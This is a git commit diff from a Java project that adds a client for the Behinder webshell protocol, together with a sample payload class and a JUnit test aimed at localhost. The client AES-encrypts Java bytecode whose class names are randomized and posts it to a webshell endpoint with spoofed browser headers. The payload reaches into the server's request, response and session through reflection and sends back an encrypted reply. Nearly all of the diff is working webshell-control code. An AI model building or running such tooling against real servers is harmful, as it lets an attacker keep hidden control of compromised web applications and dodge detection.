refactor: use platform to manage dependency

1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
This commit is contained in:
ReaJason
2025-01-25 20:30:08 +08:00
parent ecbde7dbae
commit 988d751129
89 changed files with 1411 additions and 1347 deletions
+33
View File
@@ -0,0 +1,33 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = ''
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'com.alibaba.fastjson2:fastjson2'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,179 @@
package com.reajason.javaweb.behinder;
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONObject;
import com.reajason.javaweb.behinder.payloads.Test;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.ClassFileVersion;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Data
@AllArgsConstructor
public class BehinderManager {
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String pass;
private String md5Key;
private Request request;
private Map<String, String> headers = new HashMap<>();
public BehinderManager() {
this.client = new OkHttpClient.Builder().build();
}
@SneakyThrows
public boolean test() {
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Test.class)
.name(Utils.getRandomClassName(Test.class.getName()))
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make().getBytes();
String param = "xixi";
Map<String, Object> resultObj = post(bytes);
JSONObject expectedSuccessObj = new JSONObject();
expectedSuccessObj.put("status", java.util.Base64.getEncoder().encodeToString("success".getBytes()));
expectedSuccessObj.put("msg", java.util.Base64.getEncoder().encodeToString(param.getBytes()));
String expectedSuccessBody = expectedSuccessObj.toString();
byte[] expectedSuccessBodyBytes = encrypt(expectedSuccessBody.getBytes());
byte[] resData = Base64.decodeBase64((byte[]) resultObj.get("data"));
int beginIndex = indexOf(resData, expectedSuccessBodyBytes);
int endIndex = resData.length - (beginIndex + expectedSuccessBodyBytes.length);
endIndex = beginIndex == -1 ? -1 : endIndex;
if (beginIndex > 0 || endIndex > 0) {
resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
}
String resText = new String(decrypt(resData));
if (StringUtils.isBlank(resText)) {
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
}
JSONObject jsonObject = JSON.parseObject(resText);
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
if (!param.equals(msg)) {
throw new RuntimeException(msg + " not equals to xixi, and status code is " + resultObj.get("status"));
}
return true;
}
public Map<String, Object> post(byte[] bytes) throws IOException {
byte[] aes = encrypt(bytes);
RequestBody requestBody = RequestBody.create(Base64.encodeBase64(aes));
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
Map<String, Object> map = new HashMap<>(3);
try (Response response = client.newCall(builder.build()).execute()) {
map.put("status", response.code());
byte[] bytes1 = response.body().bytes();
map.put("data", bytes1);
map.put("headers", response.headers());
}
return map;
}
private byte[] encrypt(byte[] bytes) throws IOException {
return aes(this.md5Key, bytes, true);
}
private byte[] decrypt(byte[] bytes) throws IOException {
return aes(this.md5Key, bytes, false);
}
/**
* AES 加解密
*
* @param bytes 加解密的字符串字节数组
* @param encoding 是否为加密,true 为加密,false 解密
* @return 返回加解密后的字节数组
*/
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
try {
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(bytes);
} catch (Exception e) {
return new byte[0];
}
}
public static int indexOf(byte[] outerArray, byte[] smallerArray) {
for (int i = 0; i < outerArray.length - smallerArray.length + 1; ++i) {
boolean found = true;
for (int j = 0; j < smallerArray.length; ++j) {
if (outerArray[i + j] != smallerArray[j]) {
found = false;
break;
}
}
if (found) {
return i;
}
}
return -1;
}
public static BehinderManager.BehinderManagerBuilder builder() {
return new BehinderManager.BehinderManagerBuilder();
}
public static class BehinderManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String pass;
public BehinderManager.BehinderManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public BehinderManager.BehinderManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public BehinderManager.BehinderManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public BehinderManager build() {
BehinderManager manager = new BehinderManager();
manager.setPass(pass);
manager.setEntrypoint(entrypoint);
manager.setMd5Key(DigestUtils.md5Hex(pass).substring(0, 16));
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.behinder;
import java.util.Random;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class Utils {
public static String getRandomAlpha(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random random = new Random();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; ++i) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getRandomClassName(String sourceName) {
String[] domainAs = new String[]{"com", "net", "org", "sun"};
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
int domainAIndex = (new Random()).nextInt(4);
String domainA = domainAs[domainAIndex];
int randomSegments = (new Random()).nextInt(3) + 3;
if (randomSegments == 3) {
return domainA + "." + domainB + "." + className;
} else if (randomSegments == 4) {
return domainA + "." + domainB + "." + domainC + "." + className;
} else {
return domainA + "." + domainB + "." + domainC + "." + className;
}
}
}
@@ -0,0 +1,122 @@
package com.reajason.javaweb.behinder.payloads;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
@SuppressWarnings("all")
public class Test {
private Object Request;
private Object Response;
private Object Session;
public Test() {
}
public boolean equals(Object obj) {
Map<String, String> result = new LinkedHashMap();
try {
this.fillContext(obj);
result.put("status", "success");
result.put("msg", "xixi");
} catch (Exception e) {
result.put("msg", e.getMessage());
result.put("status", "success");
} finally {
try {
Object so = null;
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
} catch (Exception e) {
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
so = getOutputStreamMethod.invoke(this.Response);
}
Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(encrypted);
return this.base64encode(bos.toByteArray()).getBytes();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = (String) entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
try {
this.getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Class Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.behinder;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2024/12/21
*/
class BehinderManagerTest {
@Test
void test() {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint("http://localhost:8080/test")
.pass("pass")
.header("User-Agent", "BehinderinterceptorBase64").build();
behinderManager.test();
}
}